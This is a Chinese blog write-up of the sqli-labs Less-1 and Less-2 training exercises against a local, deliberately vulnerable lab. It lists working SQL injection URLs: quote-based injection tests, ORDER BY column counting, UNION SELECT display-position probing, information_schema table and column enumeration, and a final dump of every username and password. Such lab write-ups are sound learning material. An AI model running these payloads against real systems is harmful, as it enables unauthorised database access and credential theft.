从零记录sqli-labs学习过程 Less-1&&Less-2

sqli-labs Less-1&&Less-2

Less-1

在这里插入图片描述
参数为id,GET方式传递

在这里插入图片描述
在这里插入图片描述简单测试一下初步判断为字符型注入

http://localhost/sqli-labs/Less-1/index.php?id=1 and 1=2 --+

http://localhost/sqli-labs/Less-1/index.php?id=1' and 1=2 --+

在这里插入图片描述
在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=1' order by 3 --+

通过order by来判断字段数

order by 后面跟数字表示根据第几列的数据来排序,order by 4时报错也就是说字段数为3

在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,2,3 --+

通过联合查询获得显示位,关于union select后面直接跟数字在SQL注入中的用法参考博客
https://blog.csdn.net/weixin_44840696/article/details/89166154
简单说就是要知道哪些字段会经过数据库查询后会回到前端,假如有3个字段id,username,password,以题目为例只返回username和password内容,id字段信息并不会返回到前端,当我们输入表中没有的字段时候,返回的列就会以我们输入的信息为名称,且内容也相同,行数和原有信息行数保持一致,所以我输入union select 1,200,300页面返回的就是200和300

在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,(select database()),3 --+

获取当前数据库名称,把回显位置替换成SQL语句进行查询

在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查询当前数据库下的所有表

在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

查询users表下的字段信息

在这里插入图片描述

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

获取所有username和password信息

Less-2

在这里插入图片描述
在这里插入图片描述

http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=1 --+

http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=2 --+

判断出来为数字型注入,剩余步骤复刻Less-1走一遍就好了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值